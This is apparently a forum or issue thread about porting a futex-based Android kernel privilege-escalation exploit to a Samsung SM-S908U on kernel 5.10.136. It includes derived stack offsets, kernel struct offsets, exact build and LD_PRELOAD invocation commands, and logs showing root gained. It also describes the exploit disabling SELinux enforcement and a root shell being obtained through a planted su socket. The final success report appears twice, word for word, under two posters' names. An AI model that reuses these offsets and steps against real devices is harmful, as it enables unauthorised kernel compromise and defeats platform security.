1. Is exp64 the intended route for S908USQS2CWE1 on kernel 5.10.136, or should I port the exp32 route into this target?
2. If exp64 is correct, what is the correct STAMP_OFF for this kernel? My current value was not derived for 5.10.136.
3. Is STAMP_OFF derivable from the kernel Image (I have it at ~/s22u-fw/kernel), or does it need live disassembly / a crash trace? I can run any tooling you specify.

[Expektoration]

Progress on S908USQS2CWE1 (SM-S908U, 5.10.136, Android 13). Two root causes found, one new blocker.

1. cve-exp64 was never running.

It was linked static-pie. On this device, static-pie SIGSEGVs at process entry — confirmed with a three-line hello-world linked the same way (-static-pie → SIGSEGV, -static → exit 0). Every prior exp_stack_once: child killed by signal 11 was that link bug, not the stamp. Rebuilt with -static -pthread; the child now runs end-to-end. Prior STAMP_OFF tests (0xb0, 0x58, 0x34) were never exercised.

2. STAMP_OFF = 0x60 for this kernel.

Disassembly of vmlinux.elf (extracted from the stock kernel, 109,700 kallsyms):

__arm64_sys_futex          0x70
do_futex                   0x70    <- BVK1 comment says 0x20
futex_wait_requeue_pi      0x1a0,  &rt_waiter = sp + 0x90
                          ------
rt_waiter = kernel_top - 0x1f0

setsockopt chain           0x10 / 0x70 / 0x10 / 0x40   (unchanged)
do_ipv6_setsockopt         0x2e0,  buffer at sp+0x160
                          (BVK1: 0x2d0 / 0x150 - both +0x10, cancels)
gr = kernel_top - 0x250

STAMP_OFF = 0x1f0 - 0x250 = 0x60

Matches S901WVLS4DWL3/exp64/stack.c:41 exactly. Same futex and setsockopt geometry on 5.10.136 and 5.10.168.

3. The walk doesn't write.

   [] main: CMP_REQUEUE_PI returned (errno=35 ... EDEADLK)
   [] waiter: returned from WRPI (errno=110 ... ETIMEDOUT)
   [] stamp probe: rc=-1 errno=99 - late validation, copy done (stamp lands)
   [] consumer: trigger ret=0 errno=0 (cfs-nice)
   [] main: exploit chain complete.
   [] cfi misc_fops mismatch ... read=0000000000000000 want=...

Both futex errnos are exactly as designed. Stamp lands. Readback of ashmem_misc.fops is zero. Iteration 2 panics the kernel (soft reboot; pstore permission-denied from shell).

Ruled out: STAMP_OFF (derivation above); WAITER_BYTES=0x50 (universal in repo); every target.h offset (verified against aarch64-linux-gnu-nm vmlinux.elf - ashmem_misc + 0x10 - TEXT = 0x26b92c0 matches, all others match); the static-pie link (fixed); the pipe/physrw stage (CVE43499_TEMP_ROOT unset, default path).

Question: given CMP_REQUEUE_PI -> 35 and WAIT_REQUEUE_PI -> 110, is the walk expected to reach rb_erase_cached(&waiter->tree_entry, &fake_lock->waiters) on 5.10.136? If the rt_mutex_waiter layout or rt_mutex_adjust_prio_chain step numbering changed between 5.10.81 and 5.10.136, which step is most likely to have shifted?

[Expektoration]

S908USQS2CWE1 (SM-S908U, AT&T) — exploit now working end-to-end

Confirmed working on:

• Device: SM-S908U, firmware S908USQS2CWE1
• Kernel: 5.10.136-android12-9-26203684-abS908USQS2CWE1
• Build: NDK r27c, API 33, make PROJECT=S908USQS2CWE1 NDK_ROOT=~/android-ndk-r27c API=33 preload root-helper
• Invocation: LD_PRELOAD=./cve-2026-43499 /system/bin/true

Result

[+] pipe physrw pid=... done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] exploit completed attempt=1/16

Root shell via the umh socket:

$ adb shell /data/local/tmp/su -c id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

Root cause of earlier failures — not what it looked like

The exploit source was fine. Three real causes, in order of how much time they cost:

1. Wrong binary was being tested. Earlier runs used the pre-built S908WVLS8FYG7 binary, or a build made with the S901USQU2BVK1-derived main.c. Once built with PROJECT=S908USQS2CWE1, it worked first attempt.

2. QEMU/TCG is not a valid testbed for KernelSnitch. With -cpu cortex-a72 and no -enable-kvm, cntvct_el0 ticks at a fixed virtual rate. KernelSnitch's signal is hash-bucket traversal time; TCG has no memory-timing model. Result: collision-finding false-positives, kernelsnitch_bruteforce returns -1 on every one of 72 retries × 16 attempts. Not fixable. The QEMU guest is only useful for pre-KernelSnitch stages. To skip the tracefs slide in QEMU: SLIDE_P0_OFFSET=0.

3. stack.c header comment is stale. The comment derives STAMP_OFF = 0xb0 (that's the S901USQU2BVK1 number; its do_futex frame is 0x20, S908U's is 0x70). The #define STAMP_OFF 0x60 is correct — verified against S908U disasm:

• futex_wait_requeue_pi: sub sp, #0x1a0, add x27, sp, #0x90 → rt_waiter = kernel_top − 0x1f0
• do_ipv6_setsockopt: buffer at sp+0x160, total frame 0x3e0 → gr = kernel_top − 0x250
• STAMP_OFF = 0x250 − 0x1f0 = 0x60

Things verified correct (don't second-guess these)

• MM_STRUCT_SZ 960 — matches /proc/slabinfo on both QEMU and device
• futex_hash() in kernelsnitch/futex_hash.h — bit-exact copy of kernel's hash_futex; offsetof(both.offset)/4 == 4 on both sides; jhash2 initval = key->both.offset on the private path (no FUT_OFF_MMSHARED OR — that's the shared branch)
• All target.h offsets verified against S908U vmlinux.elf disasm:
  • rt_mutex_waiter: tree_entry 0, rb_right 8, rb_left 16, pi_tree_entry 0x18, lock 0x38, prio 0x40, deadline 0x48
  • rt_mutex.waiters at +8 (not +0x18), rb_leftmost at +16
  • task->pi_lock 0x86c, pi_waiters 0x880, pi_blocked_on 0x898
• rb_erase_cached reachability — instrumented fake_fops+8 (.llseek): after the walk it contains the erase target ffffffc00a8792c0, confirming __rb_change_child ran and the write to *ASHMEM_MISC_FOPS = fake_fops landed.

Not a bug

The entry check in rt_mutex_adjust_prio_chain at +0x14 (cmp w1, #1; b.lt +0x1358) is max_lock_depth — lockdep tunable, always ≥ 1, never fires. Don't chase it.

Runtime root

# one-shot
adb shell /data/local/tmp/su -c 'id'
# interactive shell
adb shell /data/local/tmp/su

Re-trigger the exploit after each reboot (socket is transient). Requires SELinux Permissive for shell to reach the socket; the exploit sets selinux_state.enforcing = 0 before the umh fires, so this is automatic.

[sarabpal-dev]

S908USQS2CWE1 (SM-S908U, AT&T) — exploit now working end-to-end

Confirmed working on:

• Device: SM-S908U, firmware S908USQS2CWE1
• Kernel: 5.10.136-android12-9-26203684-abS908USQS2CWE1
• Build: NDK r27c, API 33, make PROJECT=S908USQS2CWE1 NDK_ROOT=~/android-ndk-r27c API=33 preload root-helper
• Invocation: LD_PRELOAD=./cve-2026-43499 /system/bin/true

Result

[+] pipe physrw pid=... done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] exploit completed attempt=1/16

Root shell via the umh socket:

$ adb shell /data/local/tmp/su -c id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

Root cause of earlier failures — not what it looked like

The exploit source was fine. Three real causes, in order of how much time they cost:

1. Wrong binary was being tested. Earlier runs used the pre-built S908WVLS8FYG7 binary, or a build made with the S901USQU2BVK1-derived main.c. Once built with PROJECT=S908USQS2CWE1, it worked first attempt.

2. QEMU/TCG is not a valid testbed for KernelSnitch. With -cpu cortex-a72 and no -enable-kvm, cntvct_el0 ticks at a fixed virtual rate. KernelSnitch's signal is hash-bucket traversal time; TCG has no memory-timing model. Result: collision-finding false-positives, kernelsnitch_bruteforce returns -1 on every one of 72 retries × 16 attempts. Not fixable. The QEMU guest is only useful for pre-KernelSnitch stages. To skip the tracefs slide in QEMU: SLIDE_P0_OFFSET=0.

3. stack.c header comment is stale. The comment derives STAMP_OFF = 0xb0 (that's the S901USQU2BVK1 number; its do_futex frame is 0x20, S908U's is 0x70). The #define STAMP_OFF 0x60 is correct — verified against S908U disasm:

• futex_wait_requeue_pi: sub sp, #0x1a0, add x27, sp, #0x90 → rt_waiter = kernel_top − 0x1f0
• do_ipv6_setsockopt: buffer at sp+0x160, total frame 0x3e0 → gr = kernel_top − 0x250
• STAMP_OFF = 0x250 − 0x1f0 = 0x60

Things verified correct (don't second-guess these)

• MM_STRUCT_SZ 960 — matches /proc/slabinfo on both QEMU and device

• futex_hash() in kernelsnitch/futex_hash.h — bit-exact copy of kernel's hash_futex; offsetof(both.offset)/4 == 4 on both sides; jhash2 initval = key->both.offset on the private path (no FUT_OFF_MMSHARED OR — that's the shared branch)

• All target.h offsets verified against S908U vmlinux.elf disasm:

  • rt_mutex_waiter: tree_entry 0, rb_right 8, rb_left 16, pi_tree_entry 0x18, lock 0x38, prio 0x40, deadline 0x48
  • rt_mutex.waiters at +8 (not +0x18), rb_leftmost at +16
  • task->pi_lock 0x86c, pi_waiters 0x880, pi_blocked_on 0x898

• rb_erase_cached reachability — instrumented fake_fops+8 (.llseek): after the walk it contains the erase target ffffffc00a8792c0, confirming __rb_change_child ran and the write to *ASHMEM_MISC_FOPS = fake_fops landed.

Not a bug

The entry check in rt_mutex_adjust_prio_chain at +0x14 (cmp w1, #1; b.lt +0x1358) is max_lock_depth — lockdep tunable, always ≥ 1, never fires. Don't chase it.

Runtime root

# one-shot
adb shell /data/local/tmp/su -c 'id'
# interactive shell
adb shell /data/local/tmp/su

Re-trigger the exploit after each reboot (socket is transient). Requires SELinux Permissive for shell to reach the socket; the exploit sets selinux_state.enforcing = 0 before the umh fires, so this is automatic.

Submit PR if it works